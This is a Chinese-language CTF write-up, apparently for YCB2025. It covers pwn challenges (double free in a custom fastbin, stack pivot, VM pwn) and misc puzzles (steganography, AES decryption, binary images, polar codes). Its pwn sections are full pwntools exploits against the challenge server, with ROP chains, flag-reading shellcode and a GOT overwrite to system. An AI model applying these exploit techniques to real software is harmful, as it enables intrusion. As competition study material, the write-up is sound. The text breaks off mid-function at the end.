RUNPATH: b'glibc-all-in-one/libs/2.35-0ubuntu3.11_amd64'
SHSTK: Enabled
IBT: Enabled
保护全开
❯ seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL
开沙箱
__int64 init()
{
int i; // [rsp+4h] [rbp-Ch]
__int64 v2; // [rsp+8h] [rbp-8h]
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
top_chunk_addr = &heap;
top_chunk_size = 0x1000;
heap_size = 0x1000;
for ( i = 0; i <= 15; ++i )
fast_bins[i] = 0;
v2 = seccomp_init(0x7FFF0000);
seccomp_rule_add(v2, 0, 0x3B, 0);
seccomp_rule_add(v2, 0, 0x142, 0);
return seccomp_load(v2);
}
自己实现了malloc和free还有fastbin
__int64 __fastcall Free(unsignedint idx)
{
int v1; // kr00_4
__int64 result; // rax
int v3; // [rsp+14h] [rbp-1Ch]
__int64 v4; // [rsp+20h] [rbp-10h]
chunk *v5; // [rsp+28h] [rbp-8h]
v5 = (*(&heap + idx + 0x200) - 0x10LL);
v1 = v5->size;
**(&heap + idx + 0x200) = fast_bins[v1 / 16];
fast_bins[v1 / 16] = v5;
LOBYTE(v5->inuse) = 0;
v3 = 0;
result = *(fast_bins[v1 / 16] + 16LL);
v4 = result;
while ( v3 <= 13 && v4 )
{
if ( v4 == v5 )
{
puts("free(): double free or corruption (fast)");
exit(0);
}
result = *(v4 + 16);
v4 = result;
++v3;
}
return result;
}
free时边界检查没有做好,可以double free
一直利用double free来泄露elf、libc、stack,然后栈上rop+orw
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
#io = remote('45.40.247.139',16927)
elf = ELF('./pwn')
libc=ELF('libc.so.6')
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ui = lambda data :int(data,16)
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
debug = lambda :gdb.attach(io)
defadd(idx,size):
sla('=======================\n', '1')
sla('Index\n', str(idx))
sla('size\n', str(size))
defdelete(idx):
sla('=======================\n', '2')
sla('Index\n', str(idx))
defedit(idx,size,content):
sla('=======================\n', '3')
sla('Index\n', str(idx))
sla('size\n', str(size))
s(content)
defshow(idx):
sla('=======================\n', '4')
sla('Index\n', str(idx))
defexit():
sla('=======================\n', '5')
for i in range(16):
add(i,0x10)
for i in range(15):
delete(i)
delete(0)#double free
add(0,0x10)
show(0)
heap_offset = 0x5200
stdout_offset = 0x40c0
elf_base = uu64(r(6)) - heap_offset - 0x1c0
lg('elf_base',elf_base)
stdout = elf_base + stdout_offset - 0x10
edit(0,0x10,p64(stdout))#link to fast_bins
for i in range(1,16):
add(i,0x10)
add(16,0x10)
show(16)
libc_base = uu64(r(6)) - 0x21b780
lg('libc_base',libc_base)
environ = libc_base + libc.sym['environ']
lg('environ',environ)
for i in range(16):
add(i,0x20)
for i in range(15):
delete(i)
delete(0)#double free
add(0,0x20)
edit(0,0x20,p64(environ-0x10))#link to fast_bins
for i in range(1,16):
add(i,0x20)
add(16,0x20)
show(16)
ret_addr = uu64(r(6)) - 0x140
lg('ret_addr',ret_addr)
for i in range(16):
add(i,0x70)
for i in range(15):
delete(i)
delete(0)#double free
add(0,0x70)
edit(0,0x70,p64(ret_addr-0x10))#link to fast_bins
for i in range(1,16):
add(i,0x70)
add(16,0x70)
mprotect = libc_base + libc.sym['mprotect']
pop_rdi = libc_base +0x000000000002a3e5# pop rdi ; ret
pop_rsi = libc_base +0x000000000002be51# pop rsi ; ret
pop_rdx_r12 = libc_base +0x000000000011f357# pop rdx ; pop r12 ; ret
shellcode = asm(f'''
/* Open flag file */
push -100
pop rdi /* Avoid null bytes in the path */
push 0x67616c66
mov rsi, rsp /* Point to flag path string */
xor edx, edx /* O_RDONLY */
xor r10, r10 /* No flags */
mov ax, 0x101 /* 257 = open_at system call */
syscall
/* Read flag content */
push 1
pop rdi /* stdout file descriptor */
mov rsi, rax /* Use file descriptor from open */
mov r10, 0x100 /* Read up to 256 bytes */
push 40
pop rax /* 40 = sendfile system call */
syscall
''')
payload = p64(pop_rdi) + p64(ret_addr&0xfffffffffffff000)
payload += p64(pop_rsi) + p64(0x1000)
payload += p64(pop_rdx_r12) + p64(7) + p64(0)
payload += p64(mprotect)
payload += p64(ret_addr+0x48)# shellcode addr
payload += shellcode
#debug()
edit(16,0x70,payload)
itr()
stack
checksec Stack_Over_Flow
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'glibc-all-in-one/libs/2.35-0ubuntu3.11_amd64'
SHSTK: Enabled
IBT: Enabled
关闭canary
❯ seccomp-tools dump ./Stack_Over_Flow
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0015
0005: 0x15 0x09 0x00 0x00000002 if (A == open) goto 0015
0006: 0x15 0x08 0x00 0x00000003 if (A == close) goto 0015
0007: 0x15 0x07 0x00 0x0000003b if (A == execve) goto 0015
0008: 0x15 0x06 0x00 0x00000142 if (A == execveat) goto 0015
0009: 0x15 0x00 0x04 0x00000000 if (A != read) goto 0014
0010: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0011: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0015
0012: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0013: 0x15 0x00 0x01 0x00000000 if (A != 0x0) goto 0015
0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0015: 0x06 0x00 0x00 0x00000000 return KILL
开沙箱
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
init();
3_times_read_to_buf();
return0;
}
根据功能命名
__int64 init()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
*&seed = time(0);
srand(seed);
for ( 3_or_4 = 0; 3_or_4 <= 2; 3_or_4 = rand() % 5 )
;
qword_4040 = main * 3_or_4;
buf = malloc(0x1000u);
seccomp();
memset(buf, 0, 0x2000u);
buf = buf - 672;
qword_4018 = buf + 0x100;
*(buf + 0x20) = buf + 0x1000;
*(qword_4018 + 8) = exit_0;
read_flag = 0;
return0;
}
在偏移0x4040放了一个main* (3 or 4)的地址 申请了一块堆,然后减去了0x2a0,也就是堆的基地址 并在堆基地址+0x100放了一个堆基地址+0x1000的地址和一个函数指针
初始化后如下图
pwndbg> x/10gx 0x5bfc82a20000+0x4000
0x5bfc82a24000: 0x0000000000000000 0x00005bfc82a24008
0x5bfc82a24010: 0x00005bfca897f000 0x00005bfca897f100
0x5bfc82a24020: 0xffffffffffffffff 0x0000000000000000
0x5bfc82a24030: 0x0000000068e9ec00 0x0000000000000004
0x5bfc82a24040: 0x00016ff20a885ac0 0x0000000000000000
pwndbg> x/2gx 0x00005bfca897f100
0x5bfca897f100: 0x00005bfca8980000 0x00005bfc82a2132e
__int64 3_times_read_to_buf()
{
puts("Welcome to YCB2025!");
puts("Good luck!");
read(0, buf, 0x2000u);
if ( read_flag > 2 )
{
puts("Bye~");
exit(0);
}
++read_flag;
return0;
}
读取0x2000字节到刚刚申请的堆中
看样子应该得有3次读的机会,看了一下好像没有函数调用了,有点奇怪,一直在找,最后看到这个函数的汇编
.text:000000000000168C 48 89 05 95 29 00 00 mov cs:read_flag, rax
.text:0000000000001693 48 8B 05 7E 29 00 00 mov rax, cs:qword_4018
.text:000000000000169A 48 89 C5 mov rbp, rax
.text:000000000000169D 48 89 EC mov rsp, rbp
.text:00000000000016A0 48 31 C0 xor rax, rax
.text:00000000000016A3 5D pop rbp
.text:00000000000016A4 C3 retn
会栈迁移到堆基地址+0x108的地方,调用那个函数指针
void __noreturn exit_0()
{
signed __int64 v0; // rax
puts("bye~");
v0 = sys_exit(0);
}
但是这个函数指针只是简单打印了然后退出,那么应该是劫持这个指针了
我们可以往堆里写然后把函数地址覆盖了,由于开了pie,只能短跳
然后发现了一个函数
// positive sp value has been detected, the output may be wrong!
__int64 magic1()
{
printf("magic number:%lld\n", qword_4040);
return3_times_read_to_buf();
}
会把之前的main* (3 or 4)的地址打印出来,可以泄露elf地址,但是需要爆破,有1/2的几率,然后再读入,那这样的话,思路就来了,就是一直劫持这个函数指针咯
并且发现还有一个函数
FILE **magic2()
{
FILE **result; // rax
result = qword_4090;
if ( !qword_4090 )
{
qword_4090 = 1;
qword_4098 = &stdout;
return &stdout;
}
return result;
}
看着好像没有用,最终会把stdout的地址保存到rax
.text:000000000000163A 48 89 C7 mov rdi, rax ; s
.text:000000000000163D E8 EE FA FF FF call _puts
.text:0000000000001642 48 8B 05 C7 29 00 00 mov rax, cs:buf
.text:0000000000001649 BA 00 20 00 00 mov edx, 2000h ; nbytes
.text:000000000000164E 48 89 C6 mov rsi, rax ; buf
.text:0000000000001651 BF 00 00 00 00 mov edi, 0 ; fd
.text:0000000000001656 E8 15 FB FF FF call _read
但是如果结合这个的话就可以泄露libc,并且再一次劫持函数指针
- 利用部分写短跳泄露elf
- 布局好链子,继续劫持到magic2泄露libc
- 然后就是继续劫持指针rop,我选择开权限,并读到bss段上用shellcode完成orw
exp如下
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./Stack_Over_Flow')
io = remote('45.40.247.139',28202)
elf = ELF('./Stack_Over_Flow')
libc=ELF('libc.so.6')
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ui = lambda data :int(data,16)
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
debug = lambda :gdb.attach(io)
#debug()
payload = p64(0) + p64(0x291) + p16(0x7)*0x40 + p64(0)*15 + p8(0x5f)
sa('Good luck!\n',payload)
ru('magic number:')
main = int(int(r(15)) / 3)
lg('main',main)
elf_base = main-0x16B0
lg('elf_base',elf_base)
magic1 = elf_base + 0x12C9
magic2 = elf_base + 0x163A#162B
payload = p64(0) + p64(0x291) + p16(0x7)*0x40 + p64(0)*15 + p64(magic1) + p64(magic2)
sa('Good luck!\n',payload)
libc_base = uu64(r(6)) - 0x21b780
lg('libc_base',libc_base)
mprotect = libc_base + libc.sym['mprotect']
pop_rdi = libc_base +0x000000000002a3e5# pop rdi ; ret
pop_rsi = libc_base +0x000000000002be51# pop rsi ; ret
pop_rdx_r12 = libc_base +0x000000000011f357# pop rdx ; pop r12 ; ret
shellcode = asm(f'''
/* Open flag file */
push -100
pop rdi /* Avoid null bytes in the path */
push 0x67616c66
mov rsi, rsp /* Point to flag path string */
xor edx, edx /* O_RDONLY */
xor r10, r10 /* No flags */
mov ax, 0x101 /* 257 = open_at system call */
syscall
/* Read flag content */
push 1
pop rdi /* stdout file descriptor */
mov rsi, rax /* Use file descriptor from open */
mov r10, 0x100 /* Read up to 256 bytes */
push 40
pop rax /* 40 = sendfile system call */
syscall
''')
payload = p64(0) + p64(0x291) + p16(0x7)*0x40 + p64(0)*16
payload += p64(pop_rdi) + p64((elf_base&0xfffffffffffff000)+0x4000)
payload += p64(pop_rsi) + p64(0x1000)
payload += p64(pop_rdx_r12) + p64(7) + p64(0)
payload += p64(mprotect)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64((elf_base&0xfffffffffffff000)+0x4800)
payload += p64(pop_rdx_r12) + p64(0x200) + p64(0)
payload += p64(libc_base+libc.sym['read'])
payload += p64((elf_base&0xfffffffffffff000)+0x4800)
s(payload)
#pause()
s(shellcode)
itr()
vvmm(三血)
❯ checksec vvmm
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
关闭canary和PIE
void __fastcall __noreturn vm_execute(unsigned __int64 a1)
{
int v1; // eax
_BYTE *s; // [rsp+18h] [rbp-8h]
s = malloc(0xCu);
memset(s, 0, 8u);
do
{
if ( vm_fetch_instruction(a1, s) == -1 )
break;
v1 = *s & 3;
if ( v1 == 3 )
{
vm_handler_type3_reg_imm(a1, s);
}
elseif ( (*s & 3u) <= 3 )
{
if ( v1 == 2 )
{
vm_handler_type2_reg_reg(a1, s);
}
elseif ( (*s & 3) != 0 )
{
vm_handler_type1_reg(a1, s);
}
else
{
vm_handler_type0_imm(a1, s);
}
}
memset(s, 0, 0xCu);
if ( *(a1 + 64) > 4096 )
break;
}
while ( *(a1 + 8) <= 0x800u );
puts("Segment error");
_exit(0);
}
入门级别的vmpwn,难点在于逆指令,可以任意读写,而且没开PIE并且可以劫持got表,先泄露got表里的Libc,然后再劫持got表get shell
from pwn import *
"""
VM Context Structure (0x50 bytes):
offset 0: code_ptr (points to 0x4050A0)
offset 8: PC (program counter)
offset 16: r0 (register 0)
offset 24: r1 (register 1)
offset 32: r2 (register 2)
offset 40: r3 (register 3)
offset 48: r4 (register 4)
offset 56: r5 (register 5)
offset 64: SP (stack pointer, initialized to 4096)
offset 72: FLAGS (condition flags: 0=zero, 1=less, 2=greater)
"""
context(log_level='debug',arch='amd64',os='linux')
elf = ELF('./vvmm')
libc = ELF("./libc.so.6")
#io = process("./vvmm")
io=remote("45.40.247.139",16235)
puts_got = elf.got['puts']
write_got = elf.got['write']
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ui = lambda data :int(data,16)
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
debug = lambda :gdb.attach(io)
# ========== VM Opcode Helper Functions ==========
payload = b''
defencode_opcode(opcode_num, type_bits):
"""
Encode opcode: (opcode_num << 2) | type_bits
type_bits: 0=imm, 1=reg, 2=reg_reg, 3=reg_imm
"""
return (opcode_num << 2) | (type_bits & 3)
# Type 0: Immediate operand (3 bytes)
defop_type0_imm(opcode, imm24):
"""
Format: [opcode_byte] [imm24: 3 bytes, big endian]
Used for: stack ops, jumps, syscalls
"""
payload = p8(encode_opcode(opcode, 0))
# The VM reads 3 bytes in big-endian order (line 63-69 of vm_fetch_instruction)
payload += p8((imm24 >> 16) & 0xff)
payload += p8((imm24 >> 8) & 0xff)
payload += p8(imm24 & 0xff)
return payload
# Type 1: Single register operand
defop_type1_reg(opcode, reg):
"""
Format: [opcode_byte] [reg_byte]
Used for: push/pop register, inc/dec, conditional jumps
"""
payload = p8(encode_opcode(opcode, 1))
payload += p8(reg)
return payload
# Type 2: Two register operands
defop_type2_reg_reg(opcode, reg1, reg2):
"""
Format: [opcode_byte] [reg1] [reg2]
Used for: mov, arithmetic, logic ops between registers
"""
payload = p8(encode_opcode(opcode, 2))
payload += p8(reg1)
payload += p8(reg2)
return payload
# Type 3: Register + 4-byte immediate
defop_type3_reg_imm(opcode, reg, imm32):
"""
Format: [opcode_byte] [reg] [imm32: 4 bytes, little endian]
Used for: immediate loads, comparisons
"""
payload = p8(encode_opcode(opcode, 3))
payload += p8(reg)
payload += p32(imm32)
return payload
# ========== Specific VM Operations ==========
# Stack operations (Type 0)
defop_sub_sp(value):
"""Opcode 36 ($): SP -= (4 * value) - VULNERABLE!"""
return op_type0_imm(36, value & 0xffffff)
defop_add_sp(value):
"""Opcode 37 (%): SP += (4 * value)"""
return op_type0_imm(37, value & 0xffffff)
defop_push_pc_jmp(offset):
"""Opcode 48 (0): Push PC to stack, then jump"""
return op_type0_imm(48, offset & 0xffffff)
defop_pop_sp(count):
"""Opcode 59 (;): PC = [SP], SP += 4*(count+1)"""
return op_type0_imm(59, count & 0xffffff)
defop_syscall(syscall_num):
"""Opcode 51 (3): Syscall with immediate number"""
return op_type0_imm(51, syscall_num)
# Register operations (Type 1)
defop_push_reg(reg):
"""Opcode 31: Push register to stack"""
return op_type1_reg(31, reg)
defop_pop_reg(reg):
"""Opcode 32: Pop from stack to register"""
return op_type1_reg(32, reg)
defop_inc_reg(reg):
"""Opcode 33: Increment register"""
return op_type1_reg(33, reg)
defop_dec_reg(reg):
"""Opcode 34: Decrement register"""
return op_type1_reg(34, reg)
defop_mov_reg_sp(reg):
"""Opcode 35: reg = SP"""
return op_type1_reg(35, reg)
defop_jmp_reg(reg):
"""Opcode 48: Push PC, then PC = reg (conditional jumps)"""
return op_type1_reg(48, reg)
# Register-Register operations (Type 2)
defop_cmp_reg_reg(reg1, reg2):
"""Opcode 1: Compare reg1 with reg2"""
return op_type2_reg_reg(1, reg1, reg2)
defop_mov_reg_reg(reg1, reg2):
"""Opcode 3: reg1 = reg2"""
return op_type2_reg_reg(3, reg1, reg2)
defop_xor_reg_reg(reg1, reg2):
"""Opcode 4: reg1 ^= reg2"""
return op_type2_reg_reg(4, reg1, reg2)
defop_or_reg_reg(reg1, reg2):
"""Opcode 5: reg1 |= reg2"""
return op_type2_reg_reg(5, reg1, reg2)
defop_and_reg_reg(reg1, reg2):
"""Opcode 6: reg1 &= reg2"""
return op_type2_reg_reg(6, reg1, reg2)
defop_add_reg_reg(reg1, reg2):
"""Opcode 10: reg1 += reg2"""
return op_type2_reg_reg(10, reg1, reg2)
defop_sub_reg_reg(reg1, reg2):
"""Opcode 11: reg1 -= reg2"""
return op_type2_reg_reg(11, reg1, reg2)
# Register-Immediate operations (Type 3)
defop_mov_reg_imm(reg, imm):
"""Opcode 3: reg = imm"""
return op_type3_reg_imm(3, reg, imm)
defop_cmp_reg_imm(reg, imm):
"""Opcode 1: Compare register with immediate"""
return op_type3_reg_imm(1, reg, imm)
defop_add_reg_imm(reg, imm):
"""Opcode 10: reg += imm"""
return op_type3_reg_imm(10, reg, imm)
defop_sub_reg_imm(reg, imm):
"""Opcode 11: reg -= imm"""
return op_type3_reg_imm(11, reg, imm)
sh = 0x405888
payload += op_mov_reg_imm(0, 1)
payload += op_mov_reg_imm(1, puts_got)
payload += op_mov_reg_imm(2, 8)
payload += op_syscall(1)
payload += op_mov_reg_imm(0, 0)
payload += op_mov_reg_imm(1, sh)
payload += op_mov_reg_imm(2, 8)
payload += op_syscall(0)
payload += op_mov_reg_imm(0, 0)
payload += op_mov_reg_imm(1, write_got)
payload += op_mov_reg_imm(2, 8)
payload += op_syscall(0)
payload += op_mov_reg_imm(0, sh)
payload += op_syscall(1)
s(payload)
ru(b"opcodes:\n")
libc_base = uu64(r(6)) - libc.sym["puts"]
system = libc_base + libc.sym["system"]
s(b"sh\0")
s(p64(system))
itr()
MISC
别笑,你试你也过不了第二关
第一关要求打印
##### ##### ### # # ##### ##### ##### ##### ### # # #####
# # # # # # # # # # # # # # # # #
# # ##### # # # # # # # ##### # # # #
# # # # # # # # # # # # # # # # #
##### ##### # # ##### ##### ##### ##### ##### ##### # # ##### ##### #####
测试了好几次。import,还有一些函数都禁用了,然后字符限制在285,想到压缩
a=' '
b=a*2
c=a*3
d=a*4
e=a*5
f=a*6
g=a*7
h=a*8
i='#'
j=i*3
k=i*5
l='\n'
m=b+i+f+i+f+i+c+i
n=i+d+i+c+i+m
o=a+i+e+i+g
p=k+c+j+c+i+f+i+f
q=k+b+i+c+i+b+k+b
r=l+i+h+n+o+n+l
s=k+a+k+a+k+a
t=i+d+k+m
u=k+b
hilogo=u+p+s+p+k+r+i+h+t+o+t+r+u+q+u+s+q+u+k
然后一点小算法然后就完成上面的payload 有一个坑点,不允许使用A-Z必须得要a-z可能是过滤了什么。 第二关 AI直接出'tsnrhtdd'[n%5*(n%100^15>4>n%10)::4]FLAGDASCTF{58526098482181547257101569660419}
帅的被人砍
题目内容:小杜在2021年7月1日17时30分的时候使用动态密钥生成器,生成了一组KEY。而你怎样才能让FLAG生成器输出正确的flag呢。对了,他在使用动态密钥生成器的时候,被定位在了上海。
数据包tcp有个压缩文件是倒序
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Read the extracted data file
with open('1.txt', 'r', encoding='utf-8') as f:
lines = f.readlines()
# Parse and extract hex data
all_hex_data = b''
for line in lines:
line = line.strip()
if line: # If line is not empty
try:
# Convert hex string to bytes
all_hex_data += bytes.fromhex(line)
except ValueError as e:
print(f"Error parsing line: {line[:50]}... - {e}")
print(f"Total bytes read: {len(all_hex_data)}")
# Reverse the byte order (题目提示:压缩包的逆序)
reversed_data = all_hex_data[::-1]
# Save to file 1
with open('1', 'wb') as f:
f.write(reversed_data)
print(f"Reversed data saved to file '33' ({len(reversed_data)} bytes)")
$ python reverse_data.py
Total bytes read: 17793
Reversed data saved to file '1' (17793 bytes)
$ file 33
33: 7-zip archive data, version 0.3
解压得到两个文件:
hide.jpg(17250 bytes) - 含隐写数据的图片解密器.c(1856 bytes) - AES解密器源代码 使用Steghide提取隐藏数据 根据图片文件名hide.jpg和题目提示,使用steghide工具提取隐藏信息:
┌──(kali㉿kali)-[~]
└─$ steghide extract -sf ./123new/hide.jpg
Enter passphrase:
wrote extracted data to "key.txt".
┌──(kali㉿kali)-[~]
└─$ cat key.txt
PZNCKSLLLNWUMILYTNQSXCIDUNBHBDFV
查看解密器.c文件内容:
//gcc -o decryptor decryptor.c -lssl -lcrypto
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<openssl/aes.h>
#include<openssl/rand.h>
#include<openssl/evp.h>
#define HEADER_SIZE 128 // 文件头部大小
voiddecrypt_file(constchar *input_file, constchar *output_file, unsignedchar *key){
FILE *in = fopen(input_file, "rb");
if (!in) {
perror("Unable to open input file");
return;
}
unsignedchar header[HEADER_SIZE];
fread(header, 1, HEADER_SIZE, in);
unsignedchar iv[AES_BLOCK_SIZE];
fread(iv, 1, AES_BLOCK_SIZE, in);
fseek(in, 0, SEEK_END);
long encrypted_size = ftell(in) - HEADER_SIZE - AES_BLOCK_SIZE;
fseek(in, HEADER_SIZE + AES_BLOCK_SIZE, SEEK_SET);
unsignedchar *encrypted_data = malloc(encrypted_size);
fread(encrypted_data, 1, encrypted_size, in);
fclose(in);
AES_KEY decrypt_key;
AES_set_decrypt_key(key, 256, &decrypt_key);
unsignedchar *decrypted_data = malloc(encrypted_size);
AES_cbc_encrypt(encrypted_data, decrypted_data, encrypted_size, &decrypt_key, iv, AES_DECRYPT);
FILE *out = fopen(output_file, "wb");
if (!out) {
perror("Unable to open output file");
free(encrypted_data);
free(decrypted_data);
return;
}
fwrite(header, 1, HEADER_SIZE, out);
fwrite(decrypted_data, 1, encrypted_size, out);
fclose(out);
free(encrypted_data);
free(decrypted_data);
}
intmain(){
unsignedchar key[32] = {
'X', 'X', 'X', 'X', 'X', 'X', 'X', 'X',
'X', 'X', 'X', 'X', 'X', 'X', 'X', 'X',
'X', 'X', 'X', 'X', 'X', 'X', 'X', 'X',
'X', 'X', 'X', 'X', 'X', 'X', 'X', 'X'
};
//需要转换成获得的key
decrypt_file("动态KEY生成器.lock", "动态KEY生成器.re", key);
system("chmod +x 动态KEY生成器.re");
return0;
}
关键信息:
- 加密算法: AES-256-CBC
- 文件结构: 128字节头部 + 16字节IV + 加密数据
- 将key.txt中的密钥填入进行解密解密脚本 - decrypt.py:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
# The key from steghide extraction
key_str = "PZNCKSLLLNWUMILYTNQSXCIDUNBHBDFV"
key = key_str[:32].encode('utf-8')
print(f"AES Key: {key}")
print(f"AES Key hex: {key.hex()}")
# Read the encrypted file
HEADER_SIZE = 128
AES_BLOCK_SIZE = 16
with open('动态KEY生成器.lock', 'rb') as f:
# Read header
header = f.read(HEADER_SIZE)
# Read IV
iv = f.read(AES_BLOCK_SIZE)
print(f"IV: {iv.hex()}")
# Read encrypted data
encrypted_data = f.read()
print(f"Encrypted data size: {len(encrypted_data)} bytes")
# Decrypt using AES-256-CBC
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_data = cipher.decrypt(encrypted_data)
# Try to unpad
try:
decrypted_data = unpad(decrypted_data, AES_BLOCK_SIZE)
print("Successfully unpadded")
except ValueError:
print("No padding or invalid padding")
# Write decrypted file
with open('动态KEY生成器', 'wb') as f:
f.write(header)
f.write(decrypted_data)
print(f"\nDecrypted file saved as '动态KEY生成器'")
print(f"Total size: {len(header) + len(decrypted_data)} bytes")
$ python decrypt.py
AES Key: b'PZNCKSLLLNWUMILYTNQSXCIDUNBHBDFV'
AES Key hex: 505a4e434b534c4c4c4e57554d494c59544e515358434944554e424842444656
IV: c11e4a83acdbadff7765d59fc7f9005a
Encrypted data size: 6000 bytes
Successfully unpadded
Decrypted file saved as '动态KEY生成器'
Total size: 6120 bytes
$ file 动态KEY生成器
动态KEY生成器.re: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked
然后反编译丢给ai分析写exp,要给汇编,结合上面的程序写出EXP
import time
import ctypes
from datetime import datetime, timedelta
byte_B60 = bytes([
0x5e, 0x55, 0x44, 0x42, 0x5c, 0x07, 0x04, 0x0d, 0x07, 0x51, 0x01, 0x0b, 0x42, 0x01, 0x0e, 0x00,
0x05, 0x58, 0x00, 0x4b, 0x46, 0x41, 0x45, 0x4c, 0x46, 0x4a, 0x52, 0x54, 0x5f, 0x5b, 0x5d, 0x01,
0x76, 0x76, 0x60, 0x75, 0x6d, 0x7d, 0x4a, 0x57, 0x5c, 0x49, 0x53, 0x09, 0x07, 0x07, 0x04, 0x55,
0x5e, 0x40, 0x41, 0x46, 0x40, 0x59, 0x53, 0x48, 0x02, 0x01, 0x09, 0x0e, 0x02, 0x50, 0x05, 0x4b
])
defgenerate_key(timestamp):
v10 = timestamp
square = ctypes.c_longlong(v10 * v10).value
s = str(square)
n = len(s)
if n > 15:
seed = s[-16:].encode('ascii')
else:
seed = ('0' * (16 - n) + s).encode('ascii')
buffer = seed * 4
key = bytearray()
for j in range(64):
key.append(buffer[j] ^ byte_B60[j])
return bytes(key)
defmultiple_shift_encrypt(plaintext):
shifts = [3, 5, 2]
n3 = 3
encrypted = []
for i, c in enumerate(plaintext):
shift = shifts[i % n3]
if c.isalpha():
base = ord('a') if c.islower() else ord('A')
encrypted.append(chr((ord(c) - base + shift) % 26 + base))
else:
encrypted.append(c)
return''.join(encrypted)
defmultiple_shift_decrypt(encrypted_str):
shifts = [3, 5, 2]
n3 = 3
decrypted = []
for i, c in enumerate(encrypted_str):
shift = shifts[i % n3]
if c.isalpha():
base = ord('a') if c.islower() else ord('A')
decrypted.append(chr((ord(c) - base - shift + 26) % 26 + base))
else:
decrypted.append(c)
return''.join(decrypted)
target_decrypted = "lzonc2550f12s3964f5spqornmzjfgg7"
target_key_first_32 = multiple_shift_encrypt(target_decrypted)
base_time = datetime(2021, 7, 1, 17, 30, 0)
base_timestamp = int(base_time.timestamp())
for offset in range(-3600, 3601):
timestamp = base_timestamp + offset
key = generate_key(timestamp)
try:
key_first_32 = key[:32].decode('latin-1')
except:
continue
if key_first_32 == target_key_first_32:
key_last_32 = key[32:].decode('latin-1')
decrypted_flag = multiple_shift_decrypt(key_last_32)
print(f"FLAG: {decrypted_flag}")
break
FLAG: DASCTF{jinx0353zjnqpriwn59976z2}
成功男人背后的女人
通过很多种工具来测试,发现Adobe Fireworks CS6里面另外一个图层里面还有一张图片 切换图层
发现里面的男女图标,猜测红色图标=0,蓝色图标=1,手搓得到以下的二进制
01000100010000010101001101000011
01010100010001100111101101110111
00110000011011010100010101001110
01011111011000100110010101101000
00110001011011100100010001011111
01001101010001010110111001111101
通过二进制转为字符串,得到Flag是: DASCTF{70444438697368958104855268219040}
polar
把python和题目内容丢给chatgpt跑出来的


# --- 极化码构造 ---
defconstruction(N, K, eps):
"""
返回:
infoIndex: 信息位索引
frozenIndex: 冻结位索引
prob: 子信道理论擦除率
"""
prob = np.array([eps])
for i in range(int(np.log2(N))):
prob = np.concatenate([2*prob - prob**2, prob**2])
order = np.argsort(prob)
infoIndex = np.sort(order[:K])
frozenIndex = np.setdiff1d(np.arange(N), infoIndex)
return infoIndex, frozenIndex, prob
# --- 极化码编码 ---
defencode(u, N):
x = u.copy()
n = int(np.log2(N))
for i in range(n):
step = 2**i
